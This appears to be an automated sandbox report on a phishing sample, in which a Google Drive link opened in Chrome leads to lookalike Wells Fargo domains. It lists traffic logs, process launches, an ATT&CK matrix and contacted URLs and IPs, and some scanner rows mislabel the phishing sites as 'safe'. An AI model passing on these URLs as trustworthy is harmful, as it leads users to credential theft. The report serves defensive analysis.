Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49837 version: TLS 1.2

Source: classification engine

Classification label: mal48.phis.win@23/92@34/13

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2024,i,89041353937913942,10148177902654857106,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2024,i,89041353937913942,10148177902654857106,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://online.secure.access.wellsfarqoadvlsor.com/secure/secure.php	0%	Avira URL Cloud	safe
https://connect.secure.access.wellsfargoadvlsor.com/MettXckE	0%	Avira URL Cloud	safe
https://online.secure.access.wellsfarqoadvlsor.com/favicon.ico	0%	Avira URL Cloud	safe
https://online.secure.access.wellsfarqoadvlsor.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
blobcomments-pa.clients6.google.com	142.250.186.138	true	false	high
online.secure.access.wellsfarqoadvlsor.com	188.119.66.154	true	false	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
play.google.com	172.217.18.14	true	false	high
plus.l.google.com	216.58.206.46	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.google.com	142.250.185.238	true	false	high
www.google.com	142.250.184.196	true	false	high
peoplestackwebexperiments-pa.clients6.google.com	172.217.16.202	true	false	high
connect.secure.access.wellsfargoadvlsor.com	103.114.163.132	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0?le=scs	false		high
https://apis.google.com/js/googleapis.proxy.js?onload=startup	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_1	false		high
https://online.secure.access.wellsfarqoadvlsor.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b	false		high
https://drive.google.com/drivesharing/clientmodel?id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&foreignService=texmex&authuser=0&origin=https%3A%2F%2Fdrive.google.com	false		high
https://online.secure.access.wellsfarqoadvlsor.com/secure/	false		unknown
https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png	false		high
https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?ts=67364a0b	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
https://online.secure.access.wellsfarqoadvlsor.com/secure/secure.php	false	Avira URL Cloud: safe	unknown
https://online.secure.access.wellsfarqoadvlsor.com/	false	Avira URL Cloud: safe	unknown
https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/docos/p/sync?resourcekey&id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&reqid=0	false		high
https://connect.secure.access.wellsfargoadvlsor.com/MettXckE	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://signaler-staging.sandbox.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://feedback.googleusercontent.com/resources/annotator.css	chromecache_113.2.dr, chromecache_118.2.dr	false	high
http://www.broofa.com	chromecache_84.2.dr, chromecache_73.2.dr, chromecache_90.2.dr, chromecache_78.2.dr	false	high
https://apis.google.com/js/client.js	chromecache_84.2.dr, chromecache_73.2.dr, chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://feedback2-test.corp.googleusercontent.com/tools/feedback/%	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://support.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://apis.google.com/js/googleapis.proxy.js	chromecache_91.2.dr	false	high
http://localhost.proxy.googlers.com/inapp/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://stagingqual-feedback-pa-googleapis.sandbox.google.com	chromecache_118.2.dr	false	high
https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1	chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://support.google.com/drive/answer/2423485?hl=%s	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://help.youtube.com/tools/feedback/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://onepick-autopush.sandbox.google.com/picker/minpick/main	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_96.2.dr, chromecache_97.2.dr, chromecache_87.2.dr, chromecache_81.2.dr, chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://docs.google.com/document/d/1kganm9BHI3TsF8ogVulX2o4DzzO8XA4gu8aIKneTTNU/preview	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://policies.google.com/terms	chromecache_73.2.dr	false	high
https://www.youtube.com	chromecache_88.2.dr	false	high
https://asx-frontend-staging.corp.google.com/tools/feedback/	chromecache_118.2.dr	false	high
https://www.google.com	chromecache_84.2.dr, chromecache_73.2.dr, chromecache_92.2.dr, chromecache_88.2.dr	false	high
https://support.google.com/drive/answer/2407404?hl=en	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://pay.google.com/gp/v/widget/save	chromecache_91.2.dr	false	high
https://workspace.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://onepick-staging.sandbox.google.com/picker/minpick/main	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://support.google.com/legal/answer/3110420	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://support.google.com/docs/answer/49114	chromecache_73.2.dr	false	high
https://support.google.com/drive/answer/2423694	chromecache_73.2.dr	false	high
https://support.google.com/google-workspace-individual/?p=esignature_signer_terms	chromecache_73.2.dr	false	high
https://drive-thirdparty.googleusercontent.com/	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://www.google.com/shopping/customerreviews/optin?usegapi=1	chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://onepick-preprod.sandbox.google.com/picker/minpick/main	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://developers.google.com/	chromecache_108.2.dr, chromecache_120.2.dr	false	high
https://onepick-staging-drivequal.sandbox.google.com/picker/minpick/main	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://calendar.google.com/calendar	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://developers.google.com/identity/gsi/web/guides/gis-migration)	chromecache_120.2.dr	false	high
https://www.google.com/tools/feedback	chromecache_118.2.dr	false	high
https://sandbox.google.com/inapp/%	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://tasks.google.com/	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://www.google.com/recaptcha/api.js?trustedtypes=true	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://apis.google.com/js/api.js	chromecache_73.2.dr, chromecache_116.2.dr, chromecache_76.2.dr	false	high
https://support.google.com/docs?p=vids-stock-content	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://www.google.com/tools/feedback/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://www.youtube.com/subscribe_embed?usegapi=1	chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://feedback2-test.corp.google.com/tools/feedback/%	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://punctual-dev.corp.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://plus.google.com	chromecache_81.2.dr, chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://asx-frontend-autopush.corp.google.de/tools/feedback/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://clients5.google.com/webstore/wall/widget	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://asx-frontend-autopush.corp.google.com/inapp/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://support.google.com/drive?p=gemini_drive_pdf	chromecache_73.2.dr	false	high
https://feedback.googleusercontent.com/resources/render_frame2.html	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://sandbox.google.com/tools/feedback/%	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://localhost.corp.google.com/inapp/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://support.google.com/drive/answer/7650301	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://drive.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://play.google.com/work/embedded/search?usegapi=1&usegapi=1	chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://policies.google.com/privacy	chromecache_73.2.dr	false	high
https://drive.google.com/requestreview?id=	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://support.google.com/docs/answer/65129?hl=en	chromecache_116.2.dr, chromecache_76.2.dr	false	high
https://asx-frontend-staging.corp.google.com/inapp/	chromecache_118.2.dr	false	high
https://drive.google.com/drive/my-drive	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://support.google.com/docs/answer/13447609	chromecache_73.2.dr	false	high
https://fonts.google.com/license/googlerestricted	chromecache_80.2.dr, chromecache_121.2.dr	false	high
https://clients6.google.com	chromecache_108.2.dr, chromecache_96.2.dr, chromecache_97.2.dr, chromecache_87.2.dr, chromecache_81.2.dr, chromecache_74.2.dr, chromecache_91.2.dr, chromecache_120.2.dr	false	high
http://localhost.corp.google.com/inapp/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://play.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://clients5.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://console.developers.google.com/	chromecache_108.2.dr, chromecache_120.2.dr	false	high
https://signaler-pa.youtube.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://support.google.com/inapp/%	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://asx-help-frontend-autopush.corp.youtube.com/inapp/	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://drivemetadata.clients6.google.com	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://developers.google.com/youtube/iframe_api_reference#Events	chromecache_92.2.dr, chromecache_88.2.dr	false	high
https://cloud.google.com/terms/cloud-privacy-notice	chromecache_73.2.dr	false	high
https://support.google.com/docs/answer/148505	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://support.google.com/	chromecache_118.2.dr	false	high
https://support.google.com/docs/answer/37603	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://www.google.com/shopping/customerreviews/badge?usegapi=1	chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://support.google.com/contacts/answer/7345608	chromecache_116.2.dr, chromecache_76.2.dr	false	high
https://drive.google.com/savetodrivebutton?usegapi=1	chromecache_74.2.dr, chromecache_91.2.dr	false	high
https://support.google.com/docs/answer/2494893?co=GENIE.Platform%3DDesktop#zippy=%2Cprevent-people-f	chromecache_84.2.dr, chromecache_73.2.dr	false	high
https://scone-pa.clients6.google.com	chromecache_113.2.dr, chromecache_118.2.dr	false	high
https://lh3.googleusercontent.com/a/default-user	chromecache_76.2.dr	false	high
https://support.google.com/inapp/	chromecache_113.2.dr, chromecache_118.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	unknown	United States	15169	GOOGLEUS	false
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
103.114.163.132	connect.secure.access.wellsfargoadvlsor.com	Singapore	35913	DEDIPATH-LLCUS	false
188.119.66.154	online.secure.access.wellsfarqoadvlsor.com	Russian Federation	209499	FLYNETRU	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.238	drive.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
